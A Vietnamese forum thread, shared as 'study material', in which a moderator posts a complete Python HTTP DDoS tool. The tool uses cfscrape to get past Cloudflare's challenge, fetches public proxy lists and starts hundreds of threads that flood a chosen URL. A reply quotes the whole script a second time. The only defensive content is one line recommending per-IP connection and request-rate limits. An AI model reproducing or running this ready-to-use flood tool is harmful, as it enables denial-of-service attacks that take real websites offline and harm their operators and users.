Chào mừng!

Bằng cách đăng ký với chúng tôi, bạn sẽ có thể thảo luận, chia sẻ và nhắn tin riêng tư với các thành viên khác trong cộng đồng của chúng tôi.

Đăng ký ngay!
  • Chào Khách,
    Bạn cần liên hệ với admin ??? ZALO & TELEGRAM

Share (Tài Liệu Học Tập) Kịch bản HTTP DDos cloudflare

MEOWTH

DỄ GẦN - DỄ THƯƠNG - DỄ MẾN
Thành viên BQT
Người Chia Sẻ
Kiểm Duyệt Viên
Tham gia
31/5/21
Bài viết
2,518
Lượt Thích
6,103
Coins
66,564
1.Cơ chế hoạt động:
2.Cơ chế vượt cản lọc:
3.Thư viện sử dụng

cloudflare scrape > python
cloudscraper
cloudflare-bypass

Tạo sesion
Mã:
s = cfscrape.create_scraper()
    s.proxies = {}
    s.proxies['http'] = 'http://'+str(proxy[0])+":"+str(proxy[1])
Đẩy request
Mã:
s.get(url)
Code:
Mã:
import cfscrape
import os
import random
import time
import requests
import threading
from colorama import Fore
print(Fore.YELLOW + """ 
  ____ _____   ______   ______   _    ____ ____
 / ___|  ___| | __ ) \ / /  _ \ / \  / ___/ ___|
| |   | |_    |  _ \\  V /| |_) / _ \ \___ \___ \ \r
| |___|  _|   | |_) || | |  __/ ___ \ ___) |__) |
 \____|_|     |____/ |_| |_| /_/   \_\____/____/
""")
print("Code By GogoZin -2019/8/12")

def opth():
    for a in range(thr):
        x = threading.Thread(target=atk)
        x.start()
        print("Threads " + str(a+1) + " Created ")
    print(Fore.RED + "Wait A Few Seconds For Threads Ready To Attack ...")
    time.sleep(10)
    input(Fore.CYAN + "Press Enter To Launch Attack !")
    global oo
    oo = True

oo = False
def main():
    global url
    global list
    global pprr
    global thr
    global per
    url = str(input(Fore.GREEN + "Url : " + Fore.WHITE))
    ssl = str(input(Fore.GREEN + "Enable SSL Mode ? (y/n) : " + Fore.WHITE))
    ge = str(input(Fore.GREEN + "Get New Proxies List ? (y/n) : " + Fore.WHITE))
    if ge =='y':
        if ssl == 'y':
            rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=yes&timeout=2000') #Code By GogoZin
            with open('proxies.txt','wb') as fp:
                fp.write(rsp.content)
                print(Fore.CYAN + "Sucess Get Https Proxies List !")
        else:
            rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=all&timeout=1000') #Code By GogoZin
            with open('proxies.txt','wb') as fp:
                fp.write(rsp.content)
                print(Fore.CYAN + "Sucess Get Http Proxies List !")
    else:
        pass
    list = str(input(Fore.GREEN + "List (proxies.txt) : " + Fore.WHITE))
    pprr = open(list).readlines()
    print(Fore.GREEN + "Proxies Count : " + Fore.WHITE + "%d" %len(pprr))
    thr = int(input(Fore.GREEN + "Threads (1-400 Default Is 300) : " + Fore.WHITE))
    per = int(input(Fore.GREEN + "CC.Power (1-100 Default Is 70) : " + Fore.WHITE))
    opth()

def atk():
    pprr = open(list).readlines()
    proxy = random.choice(pprr).strip().split(":")
    s = cfscrape.create_scraper()
    s.proxies = {}
    s.proxies['http'] = 'http://'+str(proxy[0])+":"+str(proxy[1])
    s.proxies['https'] = 'https://'+str(proxy[0])+":"+str(proxy[1])
    time.sleep(5)
    while True:
        while oo:
            try:
                s.get(url)
                print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+ Fore.CYAN + " From~# " +Fore.WHITE+ str(proxy[0])+":"+str(proxy[1]))
                try:
                    for g in range(per):
                        s.get(url)
                        print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+Fore.CYAN + " From~# " +Fore.WHITE + str(proxy[0])+":"+str(proxy[1])) #code By GogoZin
                    s.close()
                except:
                    s.close()
            except:
                s.close()
                print(Fore.RED + "Can't Connect To Proxies Or Url !")


if __name__ == "__main__":
    main()
DDos Defen:
Thực ra để chống dạng này không khó đâu
limit connection per ip và limit request per sec.Có thể thực hiện trên iptables hoặc 1 cái waf nào đó hay 1 cái script nho nhỏ !
https://google.com/?q=limit connections per ip
 
Tham gia
23/11/20
Bài viết
919
Lượt Thích
319
Coins
9,500
1.Cơ chế hoạt động:
2.Cơ chế vượt cản lọc:
3.Thư viện sử dụng

cloudflare scrape > python
cloudscraper
cloudflare-bypass


Tạo sesion
Mã:
s = cfscrape.create_scraper()
    s.proxies = {}
    s.proxies['http'] = 'http://'+str(proxy[0])+":"+str(proxy[1])
Đẩy request
Mã:
s.get(url)
Code:
Mã:
import cfscrape
import os
import random
import time
import requests
import threading
from colorama import Fore
print(Fore.YELLOW + """
  ____ _____   ______   ______   _    ____ ____
/ ___|  ___| | __ ) \ / /  _ \ / \  / ___/ ___|
| |   | |_    |  _ \\  V /| |_) / _ \ \___ \___ \ \r
| |___|  _|   | |_) || | |  __/ ___ \ ___) |__) |
\____|_|     |____/ |_| |_| /_/   \_\____/____/
""")
print("Code By GogoZin -2019/8/12")

def opth():
    for a in range(thr):
        x = threading.Thread(target=atk)
        x.start()
        print("Threads " + str(a+1) + " Created ")
    print(Fore.RED + "Wait A Few Seconds For Threads Ready To Attack ...")
    time.sleep(10)
    input(Fore.CYAN + "Press Enter To Launch Attack !")
    global oo
    oo = True

oo = False
def main():
    global url
    global list
    global pprr
    global thr
    global per
    url = str(input(Fore.GREEN + "Url : " + Fore.WHITE))
    ssl = str(input(Fore.GREEN + "Enable SSL Mode ? (y/n) : " + Fore.WHITE))
    ge = str(input(Fore.GREEN + "Get New Proxies List ? (y/n) : " + Fore.WHITE))
    if ge =='y':
        if ssl == 'y':
            rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=yes&timeout=2000') #Code By GogoZin
            with open('proxies.txt','wb') as fp:
                fp.write(rsp.content)
                print(Fore.CYAN + "Sucess Get Https Proxies List !")
        else:
            rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=all&timeout=1000') #Code By GogoZin
            with open('proxies.txt','wb') as fp:
                fp.write(rsp.content)
                print(Fore.CYAN + "Sucess Get Http Proxies List !")
    else:
        pass
    list = str(input(Fore.GREEN + "List (proxies.txt) : " + Fore.WHITE))
    pprr = open(list).readlines()
    print(Fore.GREEN + "Proxies Count : " + Fore.WHITE + "%d" %len(pprr))
    thr = int(input(Fore.GREEN + "Threads (1-400 Default Is 300) : " + Fore.WHITE))
    per = int(input(Fore.GREEN + "CC.Power (1-100 Default Is 70) : " + Fore.WHITE))
    opth()

def atk():
    pprr = open(list).readlines()
    proxy = random.choice(pprr).strip().split(":")
    s = cfscrape.create_scraper()
    s.proxies = {}
    s.proxies['http'] = 'http://'+str(proxy[0])+":"+str(proxy[1])
    s.proxies['https'] = 'https://'+str(proxy[0])+":"+str(proxy[1])
    time.sleep(5)
    while True:
        while oo:
            try:
                s.get(url)
                print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+ Fore.CYAN + " From~# " +Fore.WHITE+ str(proxy[0])+":"+str(proxy[1]))
                try:
                    for g in range(per):
                        s.get(url)
                        print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+Fore.CYAN + " From~# " +Fore.WHITE + str(proxy[0])+":"+str(proxy[1])) #code By GogoZin
                    s.close()
                except:
                    s.close()
            except:
                s.close()
                print(Fore.RED + "Can't Connect To Proxies Or Url !")


if __name__ == "__main__":
    main()
DDos Defen:
Thực ra để chống dạng này không khó đâu
limit connection per ip và limit request per sec.Có thể thực hiện trên iptables hoặc 1 cái waf nào đó hay 1 cái script nho nhỏ !
https://google.com/?q=limit connections per ip
;-; rút phíc cắm như bác quảng đi em :L khỏi cần lo bị ddos
 

MEOWTH

DỄ GẦN - DỄ THƯƠNG - DỄ MẾN
Thành viên BQT
Người Chia Sẻ
Kiểm Duyệt Viên
Tham gia
31/5/21
Bài viết
2,518
Lượt Thích
6,103
Coins
66,564
Top Bottom
AdBlock Detected

We get it, advertisements are annoying!

Sure, ad-blocking software does a great job at blocking ads, but it also blocks useful features of our website. For the best site experience please disable your AdBlocker.

I've Disabled AdBlock
No Thanks